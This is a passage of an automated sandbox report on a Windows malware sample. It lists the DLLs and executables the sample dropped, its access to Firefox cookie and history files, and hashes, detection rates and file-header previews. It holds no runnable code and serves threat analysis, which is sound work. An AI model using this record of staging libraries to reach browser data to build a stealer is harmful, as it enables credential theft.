Preview:	VAMYDFPUNDEKDDABFYGQUEJPDEJQRXUZJGWCCCFXBISLBAZPZFZUOPASIBSPZLUDDUPRUHUUIJHOSYOAZNPTVHZSOVZRGZOUKAQEHTNLFNGLYDYUCGZPLLLOEHMTCCHZKQTFZGYFXUPESPRXRPJCGBDDSERLKFESFYUBNGVYLYUPKGUHNHSJITKDYFMCKPMQIQVZAFMCKDCYROFZHMGJMQRWYUHYHVRTNVUYOJXTDHGZTNEIQMQCBZXDPFJFNGRNBVMQWFGMLOWQCFSJCOQJGHEUOCLNTWHNHAGOTODKZYNINGMKGKTSEOLBKYRISYDHZOZINVXDDFVINOGNYWBEAYTTXSMSWAEGHZLSECWGHVUJJVTTQREREZKVNURFBXKMFFSJVVWOEKHLPTCOWUJHWSDFUKDNLAGSWYUGJMRJXXQRDDRLFRUUNRAXNLOUYXFWKVJGUQJJHPLTQELSOSFVIKIJHQPVLNQGQRDFLHUOUWYTAHHQSFZQBHLQJWUJVJPUBUAQTFOTVGLOZARCSHXCGYQYIDNDEHNFGLALSEIYWKOMVZTQBJZGRBJPSSWZPZKRLWDCYXTKIVIEXXRVZGNCFGSOUZLWFLDVXTEBFKTOHHOOJYSVZPFZXBJVQSOAXJEZIKYMAJHZMJPCAITWVFULTXNZLTXOUQONILVMPIEJGACXWGOEWJOJBLQJHQVHEYUQGLOZPDZOSSPVSZDXLGREZBQIVSASMXXLOQBKYWGPWRRHSSMYHGWBDFPDMXUISJUJUHAMPPRVABJXFEHOJLFPPRVMCBCSXCBNPGOOXIZIQFZDERGWQTALQWJYKPHMFIFYATLSCGMSHBWQYFHEGZQGQPMOIIHVVZQXVAUPPNJCVRKBVFXELRZEQZPLXOQQSXNGDZEGAJZDGSCYSLPQBSDTSQNIRNOZGTIBFJTEPZSUWIUBLEIVPBBHHLLIQQIUIIUARIYFPPNOAZPLXJGSPZJIXJTYLKJEEICOIZEUUYWP

C:\ProgramData\WUTJSCBCFX.xlsx

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: bUcIhJ4VHm.exe, Detection: malicious, Browse Filename: w3WOJ1ohgD.exe, Detection: malicious, Browse Filename: R0hb7jyBcv.exe, Detection: malicious, Browse Filename: g77dRQ1Csm.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: Vk2yYa9dHl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: bUcIhJ4VHm.exe, Detection: malicious, Browse Filename: w3WOJ1ohgD.exe, Detection: malicious, Browse Filename: R0hb7jyBcv.exe, Detection: malicious, Browse Filename: g77dRQ1Csm.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: Vk2yYa9dHl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	545792
Entropy (8bit):	6.384805269039956
Encrypted:	false
SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47% Antivirus: Virustotal, Detection: 51%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	545792
Entropy (8bit):	6.384805269039956
Encrypted:	false
SSDEEP:	6144:yU3iKBTO7hQqRGoFyLmVmH6Q4vwRuGuoBhYkuFqeYAOfp+5ic6/:yU7UVGoFyLmVO6Q6wAGuoBh9Np+M/
MD5:	6C93FC68E2F01C20FB81AF24470B790C
SHA1:	D5927B38A32E30AFCF5A658612A8266476FC4AD8
SHA-256:	64A71B664D76641B35DAC312161CB356B3B3B5F0B45C9D88C8AFA547B4902580
SHA-512:	355E9677121EF17CF8C398F0C17399776D206C62014080A2C62682E1152EA0729DCC6E233358DCD6BAE009B07E3DB936D4B18EB37D6E7EBC2FE9CF8D827C4ADE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47% Antivirus: Virustotal, Detection: 51%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c...'i..'i..'i....[.7i....Y..i....X.8i...7..3i...7...i...7...i....9."i..'i..}i...7..%i...7U.&i..'i=.&i...7..&i..Rich'i..................PE..L....v)f..........................................@.......................................@.................................P...(.......@(................... ..l.......p........................... ...@............................................text...1........................... ..`.rdata..............................@..@.data...@ ..........................@....gfids..............................@..@.rsrc...@(.......*..................@..@.reloc..l.... ......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\YEnIrzZUUw.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465454251720349
Encrypted:	false
SSDEEP:	6144:fIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN1dwBCswSb9:QXD94+WlLZMM6YFHb+9
MD5:	3E67E0D78DA10D96187B9F91AC5B8BDD
SHA1:	499734E15B043D4FF9FC137A46849F07129B03AA
SHA-256:	9F3746175A93812BAF0A2F3D28C60CF76643BCE811297FF121931B25AF6E5AFA
SHA-512:	97F27D8CB7FB8508958C231066AFD03EE7E0FB6C0BA2FBBF4028CC9494715940B0F777F18B7EA6E6794582C4C35A421385F271EEA54FCD24F6A2BA7FD1EA2F1A
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>...................................................................................................................................................................................................................................................................................................................................................5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.695463245747603
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	YEnIrzZUUw.exe
File size:	267'776 bytes
MD5:	814d30fd5617213cc9765f05bf823181
SHA1:	7556260b8e59cea8f9048cf793f7c52ce75fff85
SHA256:	6b260c2a031fee21a1796091021415225b006baa888bfa2a37c3f79ca86ca9c8
SHA512:	9c87b554c5222c0ab1f822c40cac6f37b6f0c4d09d66144607ade544f1cba282053bf1d9b235ce672c8e86283653c99efba0c656980229395d63e03415925d64
SSDEEP:	3072:Ec9muhEkpG1d6T+DwVA0lG3NK9RrjxaEQrkXlp9O0oft4BnZzKsbQXmSIN8niPhr:eAgn6T7rEdrClphBnZG0xh8nSr
TLSH:	CA44CF1132E1C4B1E16FC672C931BB6146FEFC729A60895733BC278E59702D0A7667A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................q.......N.......O.......=.............X/K.......u.....X/p.....Rich....................PE..L...(..d...........

File Icon


